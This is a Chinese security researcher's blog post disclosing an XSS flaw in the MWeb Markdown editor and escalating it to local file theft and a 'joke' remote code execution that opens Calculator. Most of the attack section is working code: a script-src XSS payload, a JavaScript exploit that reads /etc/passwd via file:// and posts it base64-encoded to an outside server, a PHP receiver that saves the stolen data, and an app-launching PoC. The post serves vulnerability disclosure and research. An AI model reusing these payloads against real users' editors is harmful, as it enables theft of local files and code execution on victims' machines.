其实很多markdown编辑器都是支持markdown和html混写的,所以不会刻意去解决这些问题,不过typecho给出了一个比较合理的解决方案:支持有限的自定义标签。
事实上由于前端的复杂性,即使是支持有限的标签,也存在绕过的可能,完美处理的确是比较麻烦的,除非是一刀切,直接拒绝自定义标签。(或许做成用户可选项比较好?
软件来源:https://zh.mweb.im/index.html
前些天在测客户系统时经理大哥放话找到问题可以尽情利用,在测到某个系统时发现一个XSS,顺便插入了Payload,准备利用一下,顺便在MWeb里面记录下,之后点开Cookie接收平台时就意外发现了这个XSS小漏洞。在Wfox,小花,Wing等几位师傅的指点下完成进阶利用。非常感谢!次日早上醒来脑子一抽完成了再次进阶利用,实现了RCE.
如图所示,就是这么简单。
测试了一下alert()执行不了,估计做了限制,也难怪平常放写稿子时没触发。
Poc:
<script src="//XssStage/ip.js"></script>
分析
自己又不懂二进制,该如何处分析这个问题是如何造成的,又该如何修复呢?
在携带回来的信息里可以看到KHTML字样。
某百科:
KHTML,是HTML网页排版引擎之一,由KDE所开发。KDE系统自KDE2版起,在文档及网页浏览器中使用了KHTML引擎。
可以猜测MWeb就是使用了这个引擎,测试如下图。
Html标签均可执行,就是使用KHTML引擎带来的问题没错了~
修复的话直接禁用所有js脚本就好啦~
进阶利用(窃取文件):
(以读/etc/passwd
文件为例)
jsEXP:
<script>
(function() {
var BASE64_MAPPING = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'];
var _toBinary = function(ascii) {
var binary = new Array();
while (ascii > 0) {
var b = ascii % 2;
ascii = Math.floor(ascii / 2);
binary.push(b);
}
binary.reverse();
return binary;
};
var _toDecimal = function(binary) {
var dec = 0;
var p = 0;
for (var i = binary.length - 1; i >= 0; --i) {
var b = binary[i];
if (b == 1) {
dec += Math.pow(2, p);
}++p;
}
return dec;
};
var _toUTF8Binary = function(c, binaryArray) {
var mustLen = (8 - (c + 1)) + ((c - 1) * 6);
var fatLen = binaryArray.length;
var diff = mustLen - fatLen;
while (--diff >= 0) {
binaryArray.unshift(0);
}
var binary = [];
var _c = c;
while (--_c >= 0) {
binary.push(1);
}
binary.push(0);
var i = 0,
len = 8 - (c + 1);
for (; i < len; ++i) {
binary.push(binaryArray[i]);
}
for (var j = 0; j < c - 1; ++j) {
binary.push(1);
binary.push(0);
var sum = 6;
while (--sum >= 0) {
binary.push(binaryArray[i++]);
}
}
return binary;
};
var __BASE64 = {
encoder: function(str) {
var base64_Index = [];
var binaryArray = [];
for (var i = 0, len = str.length; i < len; ++i) {
var unicode = str.charCodeAt(i);
var _tmpBinary = _toBinary(unicode);
if (unicode < 0x80) {
var _tmpdiff = 8 - _tmpBinary.length;
while (--_tmpdiff >= 0) {
_tmpBinary.unshift(0);
}
binaryArray = binaryArray.concat(_tmpBinary);
} else if (unicode >= 0x80 && unicode <= 0x7FF) {
binaryArray = binaryArray.concat(_toUTF8Binary(2, _tmpBinary));
} else if (unicode >= 0x800 && unicode <= 0xFFFF) { //UTF-8 3byte
binaryArray = binaryArray.concat(_toUTF8Binary(3, _tmpBinary));
} else if (unicode >= 0x10000 && unicode <= 0x1FFFFF) { //UTF-8 4byte
binaryArray = binaryArray.concat(_toUTF8Binary(4, _tmpBinary));
} else if (unicode >= 0x200000 && unicode <= 0x3FFFFFF) { //UTF-8 5byte
binaryArray = binaryArray.concat(_toUTF8Binary(5, _tmpBinary));
} else if (unicode >= 4000000 && unicode <= 0x7FFFFFFF) { //UTF-8 6byte
binaryArray = binaryArray.concat(_toUTF8Binary(6, _tmpBinary));
}
}
var extra_Zero_Count = 0;
for (var i = 0, len = binaryArray.length; i < len; i += 6) {
var diff = (i + 6) - len;
if (diff == 2) {
extra_Zero_Count = 2;
} else if (diff == 4) {
extra_Zero_Count = 4;
}
var _tmpExtra_Zero_Count = extra_Zero_Count;
while (--_tmpExtra_Zero_Count >= 0) {
binaryArray.push(0);
}
base64_Index.push(_toDecimal(binaryArray.slice(i, i + 6)));
}
var base64 = '';
for (var i = 0, len = base64_Index.length; i < len; ++i) {
base64 += BASE64_MAPPING[base64_Index[i]];
}
for (var i = 0, len = extra_Zero_Count / 2; i < len; ++i) {
base64 += '=';
}
return base64;
},
};
window.BASE64 = __BASE64;
})();
function createXHR() {
if (typeof XMLHttpRequest != 'undefined') {
return new XMLHttpRequest();
} else if (typeof ActiveXObject != 'undefined') {
if (typeof arguments.callee.activeXString != 'string') {
var versions = ['MSXML2.XMLHttp.6.0', 'MSXML2.XMLHttp.3.0', 'MSXML2.XMLHttp'];
for (var i = 0; i < versions.length; i++) {
try {
var xhr = new ActiveXObject(versions[i]);
arguments.callee.activeXString = versions[i];
return xhr;
} catch (ex) {}
}
}
return new ActiveXObject(arguments.callee.activeXString);
} else {
throw new Error('No XHR Object available');
}
}
function post(URL, PARAMS) {
var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none";
for (var x in PARAMS) {
var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x];
temp.appendChild(opt);
}
document.body.appendChild(temp);
temp.submit();
return temp;
}
function sendGetRequest(url, callback) {
var xhr = createXHR();
xhr.open('GET', url, false);
xhr.send();
callback(xhr.responseText);
}
sendGetRequest('file:///etc/passwd', function(response) {
var text = BASE64.encoder(response);
post('https://www.test.com/mweb/file.php', {file:text});
});
</script>
接收端:
<?php
$data = base64_decode($_POST["file"]);
$file = fopen("file.txt",'a');
fwrite($file,$data);
fclose($file);
?>
效果:
感谢昨晚室友估计超60分贝的呼噜声让我无法入眠,早上醒得早,脑子一抽,就想到了这个Joke Remote Code Execution。
实际上没这么麻烦:
POC代码:
<a href="file:///Applications/Calculator.app" onclick="closewin();" id="alink">
<input id="btn" onclick="test()"> </input>
<script>
document.getElementById("alink").click();
</script>
弹个计算器 【手动狗头】
GIF图:
所有POC都放到附件中一起上传了吧,仅供技术交流、请勿非法使用~
漏洞本来挖到xss就放弃了的,发出来后在几个师傅的指点下又进一步利用了,以前看的几篇Xss2RCE的文章真是白看了。我是真是个辣鸡弟弟[手动打自己的脸]。该问题出现在Windows平台的其他MarkDown编辑器中的话可结合js执行cmd直接化为RCE来用。
实测
再次感谢Wfox,小花,Wing等几位师傅。
我是CoolCat,一个菜但是原意认真学习的弱鸡~